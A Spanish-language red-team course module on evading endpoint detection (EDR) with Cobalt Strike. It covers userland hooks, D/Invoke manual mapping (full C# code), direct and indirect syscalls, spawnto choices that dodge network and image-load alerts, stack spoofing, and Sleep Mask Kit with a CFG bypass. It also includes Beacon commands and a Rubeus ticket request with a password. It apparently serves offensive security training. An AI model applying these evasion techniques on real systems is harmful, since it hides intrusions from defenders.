Saltar a contenido

EDR Evasion

Endpoint Detection and Response

Endpoint Detection and Response (EDR) es el nombre dado a una solución de seguridad integrada que combina monitoreo en tiempo real de endpoints (y posiblemente otro log telemetry) con capacidades de análisis y respuesta. Piensa en un EDR como un AV con esteroides. Principalmente, un EDR:

  • Recopila datos de eventos de endpoints gestionados.
  • Analiza esos datos para identificar patrones de amenazas conocidos.
  • Cuando corresponde, responde automáticamente a amenazas (por ejemplo, bloqueando/conteniendo) y genera alertas.
  • Ayuda en investigaciones manuales al proporcionar capacidades de análisis y forense.

Cada fabricante puede diseñar su solución de forma diferente, pero a continuación se muestra una visión general de alto nivel de lo que podría ser un EDR:

Los endpoints protegidos normalmente tendrán instalado el "agent" del EDR. Este se encarga de recopilar y enviar los datos de logs a un repositorio central, responder a amenazas detectadas y proporcionar esas capacidades forenses. Por ejemplo, un defensor podría solicitar la muestra de un archivo desde un endpoint, que sería recopilada y devuelta por el agent.

Las soluciones EDR también pueden comunicarse con la infraestructura cloud del fabricante, lo cual es útil para desplegar software y actualizaciones de firmas. Algunos fabricantes también ofrecen "threat hunting" como servicio, donde se dedican a buscar actividad maliciosa "desconocida" (actividad maliciosa pero no detectada por el análisis automatizado) en nombre del cliente.

Los defensores pueden interactuar directamente con la interfaz principal del EDR, donde se controlan las políticas y alertas: esencialmente un punto único de visualización y gestión de la solución en general. Las alertas generadas por el EDR también pueden enviarse a un SIEM.


Detecting the Bad

EDRs pueden usar múltiples fuentes de telemetry para reunir información sobre lo que hace un proceso, desde userland API hooks, drivers y ETW. La actividad sospechosa basada en esta telemetry puede ser bloqueada y/o reportada. Para ilustrar la situación, inicia un proceso benigno como Notepad en el escritorio de ataque. Al revisar los módulos cargados en Process Hacker no verás nada fuera de lo común.

Abre WinDbg y ve a File > Attach to process. Selecciona esta instancia de notepad.exe en la lista de procesos y haz clic en Attach. En la ventana de comandos, escribe u ntdll!NtOpenProcess y presiona Enter. Esto mostrará las instrucciones de CPU para la llamada a la API NtOpenProcess cargada desde ntdll.dll.

Hablaremos de esto con más detalle más adelante, pero por ahora, solo fíjate en las dos primeras instrucciones: mov r10, rcx; mov eax 26h.

Ahora, para simular el comportamiento de EDR, vamos a usar un proyecto open source de Petr Beneš llamado injdrv. Primero, asegúrate de que test signing esté habilitado en el escritorio de ataque.

PS C:\> bcdedit -set testsigning on
The operation completed successfully.

PS C:\> shutdown /r /t 0

En la parte inferior derecha del escritorio aparecerá "Test Mode".

Luego, abre una terminal como administrador local y ejecuta injldr.exe:

PS C:\Tools\injdrv> .\injldr.exe -i
Installing driver...
Driver installed!
Starting tracing session...

Esto hará varias cosas:

Lo primero es cargar e iniciar un nuevo driver que registrará dos kernel callbacks llamados PsSetCreateProcessNotifyRoutineEx y PsSetLoadImageNotifyRoutine. El primero notificará al driver cada vez que se crea o destruye un proceso, y el segundo cada vez que un proceso carga una nueva imagen (típicamente un DLL).

Al recibir estas notificaciones, el driver inyectará a la fuerza un DLL en el espacio de memoria de ese proceso (o lo ignorará si el DLL ya está cargado). Ese DLL luego hará hook a varias APIs para redirigir su flujo de ejecución. Las APIs a hook dependen del desarrollador, pero en este caso, solo se hace hook a NtOpenProcess. El DLL inyectado simplemente registra los parámetros que se pasan a los DLLs con hook (vía ETW), que se mostrarán en la consola de injldr.exe.

Para demostrarlo, abre Notepad otra vez con injldr en ejecución y aparecerá una notificación en la consola.

[PID:4520][TID:5112] Arch: x64, CommandLine: '"C:\Windows\system32\notepad.exe" '

Process Hacker mostrará ahora que un nuevo DLL, injdllx64.dll, está cargado en el proceso.

Adjunta WinDbg a esta instancia de notepad.exe y verás que las instrucciones de CPU para NtOpenProcess han sido modificadas.

El DLL inyectado ha sobrescrito los bytes en memoria con una nueva instrucción jmp. Si ahora se llamara a esta API, el flujo de ejecución se redirigiría hacia las funciones controladas por el DLL inyectado. Notepad usualmente no llama a NtOpenProcess para nada, pero verás muchas instancias registradas en la consola provenientes de otros procesos que sí lo hagan.

He escogido un ejemplo aleatorio donde el PID 860 llamó a NtOpenProcess contra el PID 4976 con una access mask de 0x1F0FFF (PROCESS_ALL_ACCESS). No tengo idea de qué procesos son o qué está pasando; basta decir que así es como un EDR puede obtener telemetry y correlacionar eventos desde userland hooking. Este evento podría no ser preocupante por sí solo, pero podría serlo si también se observaran otras APIs como NtAllocateVirtualMemory y NtWriteVirtualMemory entre los mismos procesos.

Finalmente, Matt Hand escribió una sencilla herramienta en C# llamada HookDetector que trabaja inspeccionando los primeros 4 bytes de las instrucciones de estas APIs. Si no coinciden con la secuencia esperada 0x4c, 0x8b, 0xd1, 0xb8, concluye que ha sido hookeada. Esto puede ser muy útil al usarse con el comando execute-assembly de Cobalt Strike.

Ahora que entendemos un poco cómo puede funcionar un EDR, podemos abordar las formas de evadirlo. Nos centraremos en técnicas para combatir el DLL en userland, hooking y los kernel callbacks.


Hook Bypass Strategy

Los inline hooks se pueden "deshookear" de forma efectiva parcheándolos para restaurar sus valores originales. Como todo sucede en userland de un proceso que controlamos, técnicamente somos libres de hacer eso. Incluso podríamos recargar módulos desde disco (por ejemplo, kernel32.dll, ntdll.dll, etc.) y mapear una copia completamente nueva en memoria, borrando los hooks. Sin embargo, un inconveniente es que si un EDR monitoriza la integridad de sus propios hooks, podría volver a hacer hook y generar una alerta de que se ha detectado manipulación del hook.

En mi opinión, una mejor estrategia es encontrar diferentes formas de ejecutar las APIs deseadas, sin tocar jamás los hooks.


Process Mitigation Policy

Si un módulo no está firmado por Microsoft, podemos impedir que se cargue en un proceso por completo si este se inicia con un PROC_THREAD_ATTRIBUTE_MITIGATION_POLICY apropiado. Es muy sencillo, ya que se define en un PPROC_THREAD_ATTRIBUTE_LIST, exactamente igual que hicimos con PPID Spoofing.

Una vez que el proceso esté en ejecución, revisa las mitigaciones en Process Hacker y dirá "Signatures restricted (Microsoft only)". Nuestro proyecto injdrv no podrá inyectar injdll en él.

Esta policy no impide inyectar shellcode, así que puede usarse fácilmente en payloads de initial access como los creados con GadgetToJScript. Esto puede proporcionar una buena protección para el payload de Beacon en sí. Además, Beacon tiene una opción llamada blockdlls que le indica usar esta mitigation policy durante los comandos fork & run cuando inicia el proceso temporal. Esto puede extender la misma protección a varias actividades post-ex.

beacon> help blockdlls
Use: blockdlls [start|stop]

Launch child processes with a binary signature policy that blocks 
non-Microsoft DLLs from loading into the child process.

Use "blockdlls stop" to disable this behavior.

This feature requires Windows 10/Windows Server 2012 or later.

Esta técnica solo es efectiva contra fabricantes que no hayan firmado sus productos, lo cual se ve cada vez menos, y solo está disponible en Windows 10+.


D/Invoke Manual Mapping

Manual mapping es una técnica para cargar un DLL en tu proceso y resolver la ubicación de todos sus exports sin usar el Windows loader (por ejemplo, LoadLibrary). En el contexto de userland hooks, nos permite cargar una copia fresca de ntdll.dll desde disco en una región de memoria completamente nueva (es decir, sin sobreescribir la copia de ntdll ya cargada) y ejecutar las APIs desde ahí. Este método de carga tampoco activaría PsSetLoadImageNotifyRoutine.

Tener esta capacidad disponible en C# hace que algunas tácticas, como la inyección inicial a través de GadgetToJScript, sean más interesantes.

Para facilitar la correlación, imprime los PIDs tanto del proceso actual como del proceso objetivo.

Mapear ntdll.dll es tan sencillo como llamar a MapModuleToMemory con la ruta al DLL.

Si imprimimos la base address del mapping, podemos buscarla en Process Hacker. La instancia original de NTDLL empieza en 0x7ff85ed50000.

Mientras que la instancia manual mapeada empieza en 0x29ca9a30000.

Después de preparar los parámetros para NtOpenProcess, podemos llamarla usando CallMappedDLLModuleExport.

Un DLL cargado manualmente se puede liberar de la memoria cuando ya no se necesite con Map.FreeModule. Si observas la salida de la consola de injldr, no deberías ver ningún registro de tu PID llamando a NtOpenProcess a Notepad.

Código completo:

using System;
using System.Diagnostics;
using System.Linq;
using System.Runtime.InteropServices;

using Data = DInvoke.Data;
using DInvoke.ManualMap;
using DInvoke.DynamicInvoke;

namespace ManualMapper
{
    internal class Program
    {
        [StructLayout(LayoutKind.Sequential)]
        struct CLIENT_ID
        {
            public IntPtr UniqueProcess;
            public IntPtr UniqueThread;
        }

        [UnmanagedFunctionPointer(CallingConvention.StdCall)]
        delegate uint NtOpenProcess(
            ref IntPtr ProcessHandle,
            uint AccessMask,
            ref Data.Native.OBJECT_ATTRIBUTES ObjectAttributes,
            ref CLIENT_ID ClientId);

        static void Main(string[] args)
        {
            // print our own pid
            var self = Process.GetCurrentProcess();
            Console.WriteLine("This PID: {0}", self.Id);

            // find an instance of notepad
            var notepad = Process.GetProcessesByName("notepad").FirstOrDefault();

            if (notepad is null)
            {
                Console.WriteLine("No notepad process found");
                return;
            }

            // print target pid
            Console.WriteLine("Target PID: {0}", notepad.Id);

            // map ntdll
            var map = Map.MapModuleToMemory("C:\\Windows\\System32\\ntdll.dll");
            Console.WriteLine("NTDLL mapped to 0x{0:X}", map.ModuleBase.ToInt64());

            // prepare paramters
            var oa = new Data.Native.OBJECT_ATTRIBUTES();
            var target = new CLIENT_ID
            {
                UniqueProcess = (IntPtr)notepad.Id
            };

            object[] parameters =
            {
                IntPtr.Zero, (uint)0x1F0FFF, oa, target
            };

            // call NtOpenProcess from it
            var status = (Data.Native.NTSTATUS)Generic.CallMappedDLLModuleExport(
                map.PEINFO,
                map.ModuleBase,
                "NtOpenProcess",
                typeof(NtOpenProcess),
                parameters,
                false);

            Console.WriteLine("Status: {0}", status);
            Console.WriteLine("hProcess: 0x{0:X}", ((IntPtr)parameters[0]).ToInt64());

            Map.FreeModule(map);
        }
    }
}

Un inconveniente de esta técnica es que necesita llamar a algunas APIs como NtAllocateVirtualMemory, NtWriteVirtualMemory y NtProtectVirtualMemory, las cuales podrían estar hookeadas. Sin embargo, dado que el Windows loader también hace esto, podría no ser un problema dependiendo de lo agresiva que sea la solución de seguridad.


Syscalls

Las CPU x86 tienen cuatro niveles de privilegio, conocidos comúnmente como "rings". Van desde el Ring 0 (el más privilegiado) hasta el Ring 3 (el menos privilegiado) y controlan el acceso a recursos como la memoria y las operaciones de CPU.

Windows solo soporta los rings 0 y 3, llamados "kernel mode" y "user mode" (a menudo referido como "userland") respectivamente. La mayoría de actividades de usuario ocurren en ring 3, pero las aplicaciones también hacen transición a ring 0 cuando es necesario. Las Win32 APIs (como kernel32.dll y user32.dll) están diseñadas para ser la primera opción para los desarrolladores. Estas APIs luego llaman a APIs de nivel más bajo como ntdll.dll. Microsoft deliberadamente no documenta la mayoría de las APIs de NTDLL y puede cambiarlas en cualquier momento. Podrían cambiar cómo otras DLLs de user mode interactúan con NTDLL siempre que no cambien las interfaces originales de las DLLs de user mode.

Una aplicación puede llamar a CreateFileW en kernel32.dll para abrir un archivo desde disco. CreateFileW luego llama a NtCreateFile en ntdll.dll, y a su vez ntdll.dll usa una system call (o "syscall") para hacer la transición al kernel (ntoskrnl.exe) y acceder al hardware del sistema de archivos. Desde la perspectiva de la call stack, sería algo como UserApp.exe -> kernel32.dll -> ntdll.dll -> ntoskrnl.exe.

Ya vimos el syscall stub para NtOpenProcess en WinDbg.

Las instrucciones importantes son:

mov r10, rcx
mov eax, 26h
syscall
ret

Cada syscall tiene un número único llamado System Service Number (SSN), que puede variar entre diferentes ediciones y versiones de Windows. En Windows 10, el SSN de NtOpenProcess es 0x0026. Por eso, las instrucciones de CPU para NtOpenProcess mueven ese valor a EAX antes de la instrucción syscall.

Recursos como j00ru's System Call Table tienen cada SSN documentado.


Direct vs Indirect Syscalls

En términos de tradecraft, ahora tenemos dos términos para el uso de syscalls: direct e indirect.

Direct Syscalls

En la sección anterior vimos cómo manual mapping se usó para leer una copia nueva de NTDLL en nuestro proceso y así llamar a una versión no hookeada de la API NtOpenProcess. También vimos que NtOpenProcess (y otras Nt*) solo necesitan ejecutar 4 instrucciones para funcionar. En algún momento, a alguien se le ocurrió la idea de ejecutar directamente las instrucciones del syscall stub, sin llamar realmente a la API.

Podemos hacer esto en C habilitando MASM en Visual Studio. Crea un nuevo proyecto de C++ Console App, luego ve a Project > Build Customizations y marca masm.

Ahora crea un archivo nuevo en el proyecto llamado syscalls.asm y agrega el siguiente código.

Luego, creamos un archivo de encabezado que contendrá la definición de la función y las distintas structs necesarias.

La macro EXTERN_C permite al linker vincular esta definición de función con el código assembly anterior, siempre que ambas tengan el mismo nombre. Entonces se puede llamar como cualquier otra función en tu código principal.

Hay dos desventajas principales con esta implementación de syscall. La primera es que los fabricantes de AV empezaron a detectar parte del syscall stub en sí mismo, porque una aplicación de usuario normalmente no ejecutaría una instrucción syscall. La segunda es la call stack. En la sección anterior describí el escenario con CreateFileW, donde la call stack podía ser algo como UserApp.exe -> kernel32.dll -> ntdll.dll -> ntoskrnl.exe. Sin embargo, el flujo de ejecución no pasa por las DLLs de userland cuando se hace un direct syscall, sino que va directamente al kernel.

Indirect Syscalls

Indirect syscalls abordan ambos problemas reemplazando la instrucción syscall directa con un jmp. La dirección de memoria a la que salta normalmente es una ubicación dentro de ntdll.dll que contiene la instrucción syscall. La dirección de memoria se encuentra dinámicamente en tiempo de ejecución. Una estrategia es recorrer el PEB hasta encontrar la API Nt* y leer offsets estáticos de la misma.

Por cierto, esto también permite la resolución dinámica del SSN. Veamos un ejemplo:

Podríamos recorrer los exports hasta encontrar NtOpenProcess y su export address 0x7ff85eded510. Sabemos que los primeros 3 bytes serán la instrucción mov r10, rcx y el siguiente byte (0xb8) es parte de la siguiente instrucción mov. Por lo tanto, el SSN siempre está en la posición siguiente (+4 desde la export address debido a indexación desde cero).

De manera similar, la dirección de la instrucción syscall siempre está en +12.

Esto puede verificarse con WinDbg mientras estás adjunto a un proceso no hookeado:

0:006> db ntdll!NtOpenProcess + 4 L1
00007ffa`aaf2d514  26

:006> u ntdll!NtOpenProcess + 12 L1
ntdll!NtOpenProcess+0x12:
00007ffa`aaf2d522 0f05            syscall

Los procesos con hook pueden complicar las cosas porque sobrescriben distintas partes de memoria, haciendo que los offsets estáticos no sean muy confiables. modexp documentó varios enfoques aquí, pero profundizar en ellos no está dentro del alcance de este curso.

Integrar indirect syscalls en tu propio código es fácil con herramientas como SysWhispers3 de KlezVirus. Generará los archivos .asm, .h y .c apropiados que puedes importar en Visual Studio y usar de forma prácticamente idéntica a lo mencionado antes.

La única manera de aprovechar syscalls en versiones anteriores de Cobalt Strike era mediante herramientas como SysWhispers. Sin embargo, desde la versión 4.8 de Cobalt Strike, las opciones de syscall están integradas, lo que veremos a continuación. Por esa razón, no profundizaremos en detalle en SysWhispers3, pero te animo a que revises la documentación del repositorio y lo pruebes tú mismo.


Syscalls in Cobalt Strike

El primer lugar donde se pueden usar syscalls es en los payloads iniciales generados por Cobalt Strike. Como sabemos, estos actúan como shellcode runners para cargar y ejecutar el Beacon reflective DLL. Por lo tanto, deben asignar una región de memoria, copiar el reflective loader ahí y lanzar un nuevo thread para ejecutarlo.

Puedes habilitar syscalls a través de Artifact Kit especificando _embedded_, _indirect_ o _indirect_randomized_.

El método "embedded" es el mismo que "direct" y usa la instrucción syscall/sysenter para x64/x86 respectivamente.

El método "indirect" mueve la dirección de memoria de la instrucción syscall a un registro de CPU y luego hace un salto (jmp) hacia ella. En x64 usa r11 y en x86 usa edi. La dirección de memoria que toma proviene de la misma función Nt que correlaciona con el SSN.

El método "indirect_randomized" es una variación de lo anterior, pero saltará a la dirección de syscall de una función Nt completamente distinta. Puedes ver la sutil diferencia donde el método indirect llama a SW3_GetSyscallAddress pero indirect_randomized llama a SW3_GetRandomSyscallAddress.

La razón de esto es que algunas soluciones de seguridad inspeccionan la return address de una system call para determinar qué función Nt se utilizó. Por ejemplo, si la return address en la call stack está dentro del stub de NtAllocateVirtualMemory, concluiría que se ejecutó NtAllocateVirtualMemory. Usar la dirección de syscall de otra función Nt distinta puede engañar este enfoque haciéndole pensar que se ejecuta una función Nt diferente a la real.

Sin embargo, creo que el "mejor" enfoque para esto debería ser mirar el valor real del SSN en lugar de la return address, y que tener una return address apuntando a una función Nt que no coincide con el SSN llamado podría resultar incluso más sospechoso.

El uso de syscalls también se puede habilitar en Sleepmask Kit para cuando necesita enmascarar la sección .text de Beacon. En lugar de usar VirtualProtect para cambiar los permisos de memoria entre RX y RW, utilizará el método syscall configurado en su script de compilación.

Finalmente, hay una opción System Call que se puede elegir al generar payloads desde el cliente de CS, la cual cambia las APIs usadas internamente dentro de Beacon (específicamente las partes que no están expuestas directamente a nosotros a través de los kits y malleable C2, etc.).

Las syscalls están expuestas en estos tres modos porque son independientes entre sí y afectan distintas partes del código. Esto te da la flexibilidad de controlar dónde se usan syscalls a costa de resultar algo confuso. Al momento de escribir, Beacon puede usar syscalls en lugar de las siguientes APIs:

  • CloseHandle
  • CreateFileMapping
  • CreateRemoteThread
  • CreateThread
  • DuplicateHandle
  • GetThreadContext
  • MapViewOfFile
  • OpenProcess
  • OpenThread
  • ReadProcessMemory
  • ResumeThread
  • SetThreadContext
  • UnmapViewOfFile
  • VirtualAlloc
  • VirtualAllocEx
  • VirtualFree
  • VirtualProtect
  • VirtualProtectEx
  • VirtualQuery
  • WriteProcessMemory

Network Connections

EDRs pueden registrar cuando los procesos realizan conexiones de red, lo cual puede ayudar a detectar actividad anómala como C2 beaconing. Aquí hay un ejemplo de evento Sysmon cuando Beacon (ejecutándose en notepad.exe) realiza un check-in vía HTTPS. Podemos ver una conexión a 10.10.0.100 (Redirector 1) en el puerto 443.

En un entorno objetivo, es probable que los defensores también vean la conexión saliente hacia su firewall perimetral o proxy web. Se generará un nuevo evento por cada check-in realizado por el Beacon, así que si estás en sleep 0, prepárate para un aluvión de eventos.

Network connection detected:
ProcessId: 4380
Image: C:\Windows\notepad.exe
User: DESKTOP-3BSK7NO\Attacker
Protocol: tcp
Initiated: true
SourceIp: 10.10.5.40
SourceHostname: DESKTOP-3BSK7NO
SourcePort: 59487
DestinationIsIpv6: false
DestinationIp: 10.10.0.100
DestinationPort: 443
DestinationPortName: https

Como operador, debes considerar si tiene sentido que tu host process realice conexiones de red. Un Beacon HTTP/S hará conexiones HTTP/S, el Beacon TCP realizará conexiones TCP y el Beacon SMB usará named pipe connections.

Por ejemplo, puede que quieras usar un proceso de navegador web como más apropiado para conexiones HTTP/S.

Los EDRs también pueden detectar tipos específicos de tráfico de red, como Kerberos y LDAP, provenientes de procesos que normalmente no los generarían. Esto dificulta ejecutar herramientas como Rubeus y ADSearch.

beacon> execute-assembly C:\Tools\ADSearch\ADSearch\bin\Release\ADSearch.exe --computers

Como operador, podrías usar un spawnto que sea coherente con ese tipo de tráfico. Si está disponible, ServerManager.exe y dsac.exe son buenas opciones para LDAP, al igual que gpresult.exe.

beacon> spawnto x64 %windir%\sysnative\gpresult.exe
beacon> execute-assembly C:\Tools\ADSearch\ADSearch\bin\Release\ADSearch.exe --computers

El único proceso nativo en un Windows domain-joined machine que normalmente genera tráfico Kerberos es lsass.exe (lo cual, aunque posible, probablemente no sea lo que quieras usar para spawnto).

beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe asktgt /user:bturner /password:xJ*GgGy2s

Existen unos pocos procesos no predeterminados, como AzureADConnect.exe, que sí lo hacen, pero si no están instalados no tienes esa opción.

Hay otro tipo de alerta (tal vez específico de Elastic) llamado "Network Connection via Process with Unusual Arguments".

Esta regla funciona buscando conexiones de red desde procesos que típicamente tienen más de un argumento de línea de comandos, pero que se iniciaron con solo uno. Por ejemplo, si tu spawnto está configurado a dllhost.exe, entonces los eventos de creación de proceso para los comandos fork & run se verán así:

Image: C:\Windows\System32\dllhost.exe
CommandLine: C:\Windows\system32\dllhost.exe

Sin embargo, si revisamos las instancias de dllhost ejecutándose, vemos que se ejecutan con el parámetro /Processid.

La regla básicamente concluye que el binario está haciendo algo incluso cuando no se inició de la forma típica, lo que considera sospechoso. Desafortunadamente, el comando argue no se aplica a trabajos post-ex, por lo que no podemos usarlo aquí.

Sin embargo, en algunos casos podemos usar la configuración de spawnto para añadir argumentos arbitrarios, por ejemplo:

beacon> spawnto x64 %windir%\sysnative\dllhost.exe /Processid:{11111111-2222-3333-4444-555555555555}

Otro dato curioso es que este patrón también le permite evadir los eventos de creación de proceso en la configuración de Sysmon de SwiftOnSecurity.


Image Load Events

Un "image load" event ocurre cuando un proceso carga un DLL en memoria. Esto es legítimo y todos los procesos cargan varios DLLs. Aquí hay un ejemplo de un Notepad normal:

Enviar todos los image load events a un SIEM no es muy viable debido al gran volumen, pero los defensores pueden reenviar selectivamente ciertos image loads basándose en TTPs de atacante conocidos. Un ejemplo es System.Management.Automation.dll, que contiene el runtime para ejecutar PowerShell. Tanto powershell.exe como otras herramientas de "PowerShell no gestionado" requieren este DLL para funcionar. Por lo tanto, cualquier proceso que cargue este DLL y que no se espere podría verse como sospechoso.

Intentar ejecutar PowerView con powerpick podría disparar esta alerta:

beacon> powershell-import C:\Tools\PowerSploit\Recon\PowerView.ps1
beacon> powerpick Get-Domain

Esto se debe a que nuestro spawnto actual no es uno que normalmente cargue este DLL. Para evadir la alerta, simplemente podemos cambiar el spawnto a uno que sí se conozca que lo carga, como msiexec.exe.

beacon> spawnto x64 %windir%\sysnative\msiexec.exe
beacon> powerpick Get-Domain

Thread Stack Spoofing

Thread Stack (o Call Stack) Spoofing es otra técnica de evasión en memoria que intenta ocultar call stacks anormales o sospechosos. Pero primero, ¿qué es una call stack? En términos generales, una "stack" es una estructura de tipo LIFO (last in, first out), donde se puede "push" (agregar) o "pop" (eliminar) datos.

Crédito de la imagen: Ryan Mariner Farney

El propósito de una thread call stack es rastrear a dónde debe regresar una rutina una vez que termina de ejecutarse. Por ejemplo, la API MessageBoxW en kernel32.dll no sabe nada de lo que la llama. Antes de llamar a esta API, se hace push en la stack de una return address, de modo que cuando MessageBoxW termine, el flujo de ejecución regrese a quien la llamó.

Veamos esto en el contexto de Beacon. En este ejemplo, el thread 2348 es el que ejecuta Beacon. Si miramos su thread stack, podemos ver una llamada a SleepEx con una return address final de 0x1ace70.

Si hacemos cross-reference de la dirección en memoria, vemos que apunta directamente a la sección .text de Beacon.

También existe una herramienta muy interesante llamada Hunt-Sleeping-Beacons que puedes ejecutar desde una línea de comandos. Buscará threads durmiendo y luego recorrerá la call stack para hallar anomalías:

PS C:\Users\Attacker> C:\Tools\Hunt-Sleeping-Beacons\Hunt-Sleeping-Beacons.exe

! Suspicious Process: https_x64.exe (5268)

        * Thread 2348 has State: DelayExecution and abnormal calltrace:

                NtDelayExecution -> C:\Windows\SYSTEM32\ntdll.dll
                SleepEx -> C:\Windows\System32\KERNELBASE.dll
                0x00000000001ACE3B -> Unknown module
                0x0000000000aACE70 -> Unknown module

        * Suspicious Sleep() found
        * Sleep Time: 3s

El stack spoofing por defecto de Cobalt Strike se puede encontrar en el Artifact Kit bajo src-common/spoof.c y una explicación detallada en README_STACK_SPOOF.md. Básicamente, aprovecha Fibres para cambiar el contexto de la thread stack durante la fase de sleep de Beacon y ocultar la verdadera return address. Se activa estableciendo la opción "stack spoof" en true durante la compilación.

Hunt-Sleeping-Beacons ya no identificará el thread.

PS C:\Users\Attacker> C:\Tools\Hunt-Sleeping-Beacons\Hunt-Sleeping-Beacons.exe
* Hunt-Sleeping-Beacons
* Checking for threads in state wait:DelayExecution
* Done

Sleep Mask Kit

Si ejecutas un Beacon en Workstation 1 y lo dejas sin ejecutar comandos, Elastic Security mostrará una alerta de que lo detectó en memoria.

Elastic Agent tiene capacidades de memory scanning con las que busca indicadores (estáticos) conocidos de Beacon. El Sleep Mask Kit se introdujo en CS 4.4 y busca contrarrestar este tipo de detección en memoria.

Como hemos visto en módulos anteriores, el Reflective DLL de Beacon se ejecuta en una región de memoria RX (o incluso RWX). Realiza check-in con el team server para nuevas tareas tras cada ciclo de sleep, las ejecuta (si las hay) y vuelve a dormir. El Sleep Mask Kit proporciona un mecanismo para que Beacon ofusque sus propias regiones de memoria antes de entrar en el ciclo de sleep y luego se desofusque al despertar. La implementación por defecto hace esto recorriendo su propia memoria y haciendo XOR de cada byte con una clave aleatoria.

Esto significa que si un memory scanner analiza la memoria de Beacon mientras está dormido, solo verá memoria ofuscada y no activará IOCs estáticos. Es importante saber que cuanto más corta sea la duración de sleep, menos efectiva será la Sleep Mask, porque el payload pasa más tiempo desofuscado.

El Sleep Mask Kit por defecto se encuentra en C:\Tools\cobaltstrike\arsenal-kit\kits\sleepmask. El kit cambió significativamente en CS 4.7, así que hay dos directorios fuente: src para 4.4 - 4.6 y src47 para 4.7 en adelante. Una buena forma (en mi opinión) de revisar el código es abrir Visual Studio Code, ir a File > Open Folder y seleccionar el directorio src47.

El kit puede parecer bastante complejo por las opciones de compilación, pero no es para tanto. Un ejemplo:

attacker@DESKTOP-3BSK7NO /m/c/T/c/a/k/sleepmask > ./build.sh 47 WaitForSingleObject true none /mnt/c/Tools/cobaltstrike/sleep-mask
[Sleepmask kit] [+] You have a x86_64 mingw--I will recompile the sleepmask beacon object files
[Sleepmask kit] [*] Building sleepmask to support Cobalt Strike version 4.7 and later
[Sleepmask kit] [*] Using Sleep Method: WaitForSingleObject
[Sleepmask kit] [*] Mask text section: true
[Sleepmask kit] [*] Using system call method: none
[Sleepmask kit] [*] Compile sleepmask.x86.o
[Sleepmask kit] [*] Compile sleepmask_pivot.x86.o
[Sleepmask kit] [*] Compile sleepmask.x64.o
[Sleepmask kit] [*] Compile sleepmask_pivot.x64.o
[Sleepmask kit] [+] The sleepmask beacon object files are saved in '/mnt/c/Tools/cobaltstrike/sleep-mask'

Info

Ejecuta build.sh sin argumentos para ver todas las opciones.

Agrega set sleep_mask "true"; al bloque stage de tu C2 profile, carga sleepmask.cna mediante el Script Manager de CS y luego regenera tus payloads.

Esta imagen muestra la sección .text de Beacon sin enmascarar:

Y esta es cuando está enmascarada:

Ejecuta un nuevo payload en Workstation 1 y la alerta de memory threat protection ya no debería activarse.

Este uso de Sleep Mask Kit no es compatible con el stack spoofing que vimos en la sección anterior. La razón es que el stack spoofing code pone un hook en la función de sleep de Beacon con un pequeño trampoline para redirigir el flujo de ejecución y hacer el spoofing, mientras que este código de sleep mask sobrescribe ese hook porque también necesita enganchar la función de sleep para enmascarar la memoria.

Para solucionarlo, Sleep Mask Kit tiene una opción adicional llamada "evasive sleep", que viene en dos variantes: "evasive sleep" y "evasive sleep stack spoof". Ambas solo funcionan en 64-bit. El stack spoofing que viene aquí es mucho más flexible que el que está dentro de Artifact Kit, ya que te permite formar tu propio stack desde cero. Sin embargo, esa flexibilidad conlleva algo de complejidad.

Dado que las diferentes versiones de Windows pueden tener offsets distintos, tu código de sleep mask deberá apuntar a una versión específica de Windows para lucir legítimo. Esto implica tener una VM de prueba con la misma versión que tu objetivo, investigar y clonar la thread stack de un proceso legítimo.

Veamos cómo se hace:

Lo primero es habilitar evasive sleep en el código fuente de Sleep Mask Kit. Abre sleepmask.c y busca la línea 24 (en el momento de escribir): #define EVASIVE_SLEEP. Simplemente cámbialo de 0 a 1.

Luego, desplázate hasta la línea #if EVASIVE_SLEEP (64 al momento de escribir). Comenta la línea que incluye evasive_sleep.c y descomenta la línea para evasive_sleep_stack_spoof.c.

El archivo evasive_sleep_stack_spoof.c es bastante grande, pero solo necesitamos la función set_callstack (alrededor de la línea 105).

Los comentarios son muy claros, pero iremos paso a paso. Lo primero es encontrar un call stack legítimo que queramos reproducir. Esto implica abrir Process Hacker y revisar call stacks en distintos procesos. Tal como sugiere, busca stacks que empiecen con NtWaitForSingleObject.

Aquí algunos ejemplos de msedge.exe, smartscreen.exe y conhost.exe:

Cuando tengas claro cómo quieres que sea tu stack, usa la utilidad getFunctionOffset (ubicada en C:\Tools\cobaltstrike\arsenal-kit\utils\getFunctionOffset) para generar el código set_frame_info que necesitamos. Por ejemplo, para replicar el stack de conhost, podrías ejecutar:

> getFunctionOffset.exe KernelBase DeviceIoControl 0x86
> getFunctionOffset.exe kernel32 DeviceIoControl 0x81
> getFunctionOffset.exe kernel32 BaseThreadInitThunk 0x14
> getFunctionOffset.exe ntdll RtlUserThreadStart 0x21

Copia el código resultante a set_callstack (reemplazando las líneas de ejemplo que ya estaban).

set_frame_info(&callstack[i++], L"KernelBase", 0, 0x35936, 0, FALSE);  // DeviceIoControl+0x86
set_frame_info(&callstack[i++], L"kernel32", 0, 0x15921, 0, FALSE);    // DeviceIoControl+0x81
set_frame_info(&callstack[i++], L"kernel32", 0, 0x17344, 0, FALSE);    // BaseThreadInitThunk+0x14
set_frame_info(&callstack[i++], L"ntdll", 0, 0x526b1, 0, FALSE);       // RtlUserThreadStart+0x21

Info

No necesitas incluir la llamada a NtWaitForSingleObject.

Una vez recompiles el kit y los payloads, podrás verificar que todo aparezca como corresponde.

El último punto a considerar es al inyectar shellcode de Beacon que tenga evasive sleep habilitado en procesos con Control Flow Guard (CFG). CFG es una protección de tipo binary exploitation (como DEP y ASLR) que mitiga exploits de corrupción de memoria. Si lanzas un proceso como Notepad y revisas sus propiedades en Process Hacker, verás que CF Guard está habilitado.

Si inyectáramos Beacon shellcode en este proceso, se bloquearía. Para evitarlo, Sleep Mask Kit incluye un bypass para CFG, que habilitamos poniendo CFG_BYPASS de 0 a 1 en evasive_sleep_stack_spoof.c.

No es necesario modificar cfg.c, aunque te recomiendo echarle un vistazo.


Mutator Kit

